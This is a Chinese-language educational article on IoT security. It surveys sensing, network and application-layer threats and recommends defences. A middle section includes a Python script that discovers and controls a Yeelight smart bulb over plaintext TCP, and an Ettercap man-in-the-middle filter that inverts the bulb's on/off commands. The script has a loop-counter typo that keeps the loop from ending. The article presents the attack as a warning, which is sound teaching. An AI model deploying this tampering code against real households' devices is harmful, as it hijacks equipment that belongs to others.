網(wǎng)絡(luò)安全攻防:物聯(lián)網(wǎng)安全攻防
01 物聯(lián)網(wǎng)安全防御機制與手段
1. 感知層安全問題
(1)物理安全與信息采集安全。感知層是物聯(lián)網(wǎng)的網(wǎng)絡(luò)基礎(chǔ),由具體的感知設(shè)備組成,感知層安全問題主要是指感知節(jié)點的物理安全與信息采集安全。
(2)典型攻擊技術(shù)。針對感知層的攻擊主要來自節(jié)點的信號干擾或信號竊取,典型的攻擊技術(shù)主要有阻塞攻擊、偽裝攻擊、重放攻擊及中間人攻擊等。
常見的感知層安全手段如下。
Skimming:在末端設(shè)備或RFID持卡人不知情的情況下,信息被讀取。
Eavesdropping:在一個通道的中間,信息被中途截取。
Spoofing:偽造復(fù)制設(shè)備數(shù)據(jù),冒名輸入到系統(tǒng)中。
Cloning:克隆末端設(shè)備,冒名頂替。
Killing:損壞或盜走末端設(shè)備。
Jamming:偽造數(shù)據(jù)造成設(shè)備阻塞不可用。
Shielding:用機械手段屏蔽電信號,讓末端無法連接。
2. 網(wǎng)絡(luò)層安全問題
網(wǎng)絡(luò)層主要實現(xiàn)物聯(lián)網(wǎng)信息的轉(zhuǎn)發(fā)和傳送,包括網(wǎng)絡(luò)拓撲組成、網(wǎng)絡(luò)路由協(xié)議等。利用路由協(xié)議與網(wǎng)絡(luò)拓撲的脆弱性,可對網(wǎng)絡(luò)層實施攻擊。
(1)物聯(lián)網(wǎng)接入安全。物聯(lián)網(wǎng)為實現(xiàn)不同類型傳感器信息的快速傳遞與共享,采用了移動互聯(lián)網(wǎng)、有線網(wǎng)、Wi-Fi、WiMAX等多種網(wǎng)絡(luò)接入技術(shù)。網(wǎng)絡(luò)接入層的異構(gòu)性,使如何為終端提供位置管理以保證異構(gòu)網(wǎng)絡(luò)間節(jié)點漫游和服務(wù)的無縫連接時,出現(xiàn)了不同網(wǎng)絡(luò)間通信時安全認證、訪問控制等安全問題??绠悩?gòu)網(wǎng)絡(luò)攻擊,就是針對上述物聯(lián)網(wǎng)實現(xiàn)多種傳統(tǒng)網(wǎng)絡(luò)融合時,由于沒有統(tǒng)一的跨異構(gòu)網(wǎng)絡(luò)安全體系標準,利用不同網(wǎng)絡(luò)間標準、協(xié)議的差異性,專門實施的身份假冒、惡意代碼攻擊、偽裝欺騙等網(wǎng)絡(luò)攻擊技術(shù)。
(2)信息傳輸安全。物聯(lián)網(wǎng)信息傳輸主要依賴于傳統(tǒng)網(wǎng)絡(luò)技術(shù),網(wǎng)絡(luò)層典型的攻擊技術(shù)主要包括鄰居發(fā)現(xiàn)協(xié)議攻擊、蟲洞攻擊、黑洞攻擊等。鄰居發(fā)現(xiàn)協(xié)議攻擊。利用IPv6中鄰居發(fā)現(xiàn)協(xié)議(Neighbor Discovery Protoc01),使得目標攻擊節(jié)點能夠為其提供路由連接,導(dǎo)致目標節(jié)點無法獲得正確的網(wǎng)絡(luò)拓撲感知,達到目標節(jié)點過載或阻斷網(wǎng)絡(luò)的目的,例如洪泛攻擊。
3. 應(yīng)用層安全問題
應(yīng)用層主要是指建立在物聯(lián)網(wǎng)服務(wù)與支撐數(shù)據(jù)上的各種應(yīng)用平臺,如云計算、分布式系統(tǒng)、海量信息處理等,但是,這些支撐平臺要建立起一個高效、可靠和可信的應(yīng)用服務(wù),需要建立相應(yīng)的安全策略或相對獨立的安全架構(gòu)。典型的攻擊技術(shù)包括軟件漏洞攻擊、病毒攻擊、拒絕服務(wù)流攻擊。
02 智能家居安全控制攻擊實例
智能家居是當前一個典型的物聯(lián)網(wǎng)應(yīng)用行業(yè)。下面以一款小米Wi-Fi智能燈泡為例,通過自主實驗分析智能家居系統(tǒng)潛在的安全攻擊隱患。
采用Yeelight LED智能燈泡,根據(jù)官網(wǎng)指示稱,可以在其App中打開極客模式。官方也有相應(yīng)的聲明。
Yeelight第三方控制協(xié)議是針對技術(shù)愛好者推出的一項功能。Yeelight市面上在售的所有Wi-Fi照明設(shè)備(Yeelight白光燈泡Yeeilght彩光燈泡)以及后續(xù)推出的Wi-Fi產(chǎn)品都會支持該協(xié)議。基于這個協(xié)議,用戶可以選擇自己喜歡的語言和平臺開發(fā)自己的應(yīng)用程序以用來發(fā)現(xiàn)和控制Yeelight Wi-Fi設(shè)備。該協(xié)議采用了類似SSDP的發(fā)現(xiàn)機制和基于JSON的控制命令,開發(fā)者可以在同一個局域網(wǎng)下實現(xiàn)設(shè)備的發(fā)現(xiàn)和控制。需要注意的是,該協(xié)議是基于明文的傳輸,設(shè)備的安全性依賴于用戶的路由器安全性,因此用戶在使用該協(xié)議的時候,需要對自己的設(shè)備安全性負責(zé)。
1. SSDP協(xié)議
一種無需任何配置、管理和維護網(wǎng)絡(luò)設(shè)備服務(wù)的機制。此協(xié)議采用基于通知和發(fā)現(xiàn)路由的多播發(fā)現(xiàn)方式實現(xiàn)。協(xié)議客戶端在保留的多播地址239.255.255.250:1900(IPv4)發(fā)現(xiàn)服務(wù),(IPv6地址是FF0x::C)同時每個設(shè)備服務(wù)也在此地址上監(jiān)聽服務(wù)發(fā)現(xiàn)請求。如果服務(wù)監(jiān)聽到的發(fā)現(xiàn)請求與此服務(wù)相匹配,此服務(wù)會使用單播方式響應(yīng)。
常見的協(xié)議請求消息有兩種類型,第一種是服務(wù)通知,設(shè)備和服務(wù)使用此類通知消息聲明自己存在;第二種是查詢請求,協(xié)議客戶端用此請求查詢某種類型的設(shè)備和服務(wù)。請求消息中包含設(shè)備的特定信息或某項服務(wù)的信息,例如設(shè)備類型、標識符和指向設(shè)備描述文檔的URL地址。
Yeelight采用了類似的協(xié)議,發(fā)現(xiàn)查詢過程如圖1所示。
圖1 查詢過程
2. 自定義開發(fā)
用Python編寫了發(fā)現(xiàn)控制腳本。核心代碼如下。
- def start(self):
- self.__send_search()
- while True:
- #rlist,wlist,xlist
- reads,_,_=select.select([self.__s],[],[],5)
- if reads:
- data,addr=self.__s.recvfrom(2048)
- list_data=data.split('\r\n')
- IP=""
- PORT=""
- ID=""
- for item in list_data:
- temp=item.split(':')
- if temp[0]=="Location":
- print "IP:"+temp[2].replace("//","")
- print "PORT:"+temp[3]
- IP=temp[2].replace("//","")
- PORT=temp[3]
- if temp[0]=="id":
- print "ID"+temp[1]
- ID=temp[1]
- self.operate(IP,PORT,ID)
- break
- else: #timeout
- self.__send_search()
- self.__s.close()
控制的核心代碼如下,可知是TCP明文進行操作的。
- def operate(self,ip,port,id):
- print '='*30
- port=int(port)
- # print type(port)
- try:
- self.__s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- except socket.error,msg:
- print 'Failed to create socket.Error code: '+str(msg[0])+' ,Error message : '+msg[1]
- sys.exit();
- print 'Socket Created'
- self.__s.connect((ip,port))
- print "connected"
- #msg='{"id": 233,"method": "set_power","params":["on","smooth",1500]}\r\n'
- xx=0
- while xx < 1000:
- #獲得遠程接口狀態(tài)
- try:
- url_data=urllib2.urlopen(JSON_ADDRESS).readline()
- except Exception,e:
- print e
- # print url_data
- status=json.loads(url_data)['status']
- print status
- # exit()
- msg='{"id": '+str(time.time())+',"method": "set_power","params":["'+status+'","smooth",
- 100]}\r\n'
- print msg
- try:
- self.__s.sendall(msg)
- reply=self.__s.recv(4096)
- print reply
- except socket.error:
- print 'Send failed'
- sys.exit()
- time.sleep(1)
- xxxx=xx+1
- print "finished"
- self.__s.close()
如果我們在局域網(wǎng)中采用中間人攻擊的方式,來篡改TCP分組,則能實現(xiàn)控制反轉(zhuǎn),使用者發(fā)出開的指令,經(jīng)過反轉(zhuǎn),Yeelight燈泡收到的是關(guān)閉指令。
采用Ettercap進行中間人攻擊,核心的篡改代碼如下。
- if(ip.proto==TCP && tcp.dst==55443){
- if(search(DATA.data,“set_power”)){
- if(search(DATA.data,“off”)){
- replace(“off”,“on”);
- }
- else{
- replace(“on”,“off”);
- }
- }
- }
這樣就能實現(xiàn)控制反轉(zhuǎn)。在此提出這個例子,旨在提醒物聯(lián)網(wǎng)中最常見的安全問題之一,保證數(shù)據(jù)在網(wǎng)絡(luò)中傳輸不被篡改、竊聽。
03 物聯(lián)網(wǎng)安全防御機制與手段
物聯(lián)網(wǎng)產(chǎn)業(yè)即將進入爆發(fā)期,我國在物聯(lián)網(wǎng)信息安全技術(shù)方面安全可控能力還比較弱。在傳感器技術(shù)方面,我國還主要集中在低端傳感器研究和產(chǎn)品開發(fā),中高檔傳感器產(chǎn)業(yè)幾乎100%從國外進口,芯片 90%以上依賴國外;在 RFID 技術(shù)方面,我國低頻和高頻技術(shù)相對成熟,但UHF和微波頻段產(chǎn)品與國外技術(shù)相比差距較大;在M2M 等網(wǎng)絡(luò)層技術(shù)方面,我國與國外基本同步,都處于研究階段;在信息安全共性技術(shù)方面,我國已經(jīng)開展了相關(guān)研究工作,但相對國外也存在較大的差距,如 RSA 已經(jīng)推出用于 RFID 的安全認證和訪問管理產(chǎn)品,國內(nèi)信息安全企業(yè)還沒有出現(xiàn)類似產(chǎn)品。在物聯(lián)網(wǎng)的無線通信方面,我國正面臨著信息安全挑戰(zhàn),需要盡快解決,一般企業(yè)直接使用加密等方式,但是相關(guān)規(guī)定并不健全,還需要政府出臺相應(yīng)的標準和規(guī)范。同時,也需要做好物聯(lián)網(wǎng)信息安全頂層設(shè)計,加強物聯(lián)網(wǎng)信息安全技術(shù)的研發(fā),有效保障物聯(lián)網(wǎng)的安全應(yīng)用,遵循“同步規(guī)劃、同步建設(shè)、同步運行”原則,才可以保障物聯(lián)網(wǎng)走上持續(xù)發(fā)展之路。
目前,與金融、電子商務(wù)等其他行業(yè)相比,IoT安全性尚未得到充分理解和明確定義。開發(fā)一款I(lǐng)oT產(chǎn)品時,不論是像可穿戴設(shè)備這樣的小型產(chǎn)品,還是像油田傳感器網(wǎng)絡(luò)或全球配送作業(yè)這樣的大型IoT部署,從一開始就必須考慮到安全問題。要了解安全的問題所在,就需要了解IoT設(shè)備的攻擊方法,通過研究攻擊方法提高IoT產(chǎn)品的防御能力。
具體而言,除了傳統(tǒng)的信息安全防護技術(shù),可以從如下幾個方面針對物聯(lián)網(wǎng)加強安全防御。
代碼加固。由于遠程接入、操作等智能終端的代碼小巧,容易被傳播復(fù)用,因此首先需謹慎處理代碼,可以建立代碼的安全審查制度。其次,智能終端芯片或嵌入式模塊往往缺乏安全保護容易被逆向分析,因此需加強代碼加固手段,防止代碼被破解、分析、植入等。
通信加密。射頻、藍牙等數(shù)據(jù)通信協(xié)議通常有各種版本的實現(xiàn),開發(fā)人員為了最求快速部署,常常忽略通信加密,而導(dǎo)致數(shù)據(jù)分組被分析破解,因此,可以采用AES、SSL/TLS等標準化的加密算法或協(xié)議,或自行研制加密方案。
安全網(wǎng)關(guān)。智能家居等通常直接采用無線路由的接入方式,即支持多種物聯(lián)網(wǎng)智能終端的快速接入,這樣的接入設(shè)備最容易遭受黑客的劫持,因此需要研制部署物聯(lián)網(wǎng)安全網(wǎng)關(guān)。
身份認證。隨著物聯(lián)網(wǎng)應(yīng)用的普及,可能每個人都可能成為智能手環(huán)、可穿戴設(shè)備、智能鑰匙等終端節(jié)點的持有者,建立既安全又便捷的統(tǒng)一身份認證體系變得越來越重要。生物識別、行為大數(shù)據(jù)分析、云端認證服務(wù)等有望解決物聯(lián)網(wǎng)的安全認證問題。
漏洞共享。近年來爆發(fā)的視頻攝像頭遠程控制和DDoS等物聯(lián)網(wǎng)安全事件,很大程度上在于業(yè)界缺乏足夠的安全意識和漏洞共享平臺,因此建立完善的漏洞播報和安全快速響應(yīng)機制,對物聯(lián)網(wǎng)安全至關(guān)重要。
態(tài)勢感知。可以預(yù)測到未來數(shù)以億計的物聯(lián)網(wǎng)設(shè)備將部署在我們的周圍,因此跟蹤監(jiān)控這些設(shè)備,及時掌握設(shè)備運行的安全狀態(tài),將變得更加重要。目前已出現(xiàn)Shadon、ZoomEye等全球物聯(lián)網(wǎng)設(shè)備搜索引擎,也將成為網(wǎng)絡(luò)空間安全的一種常態(tài)化服務(wù)平臺。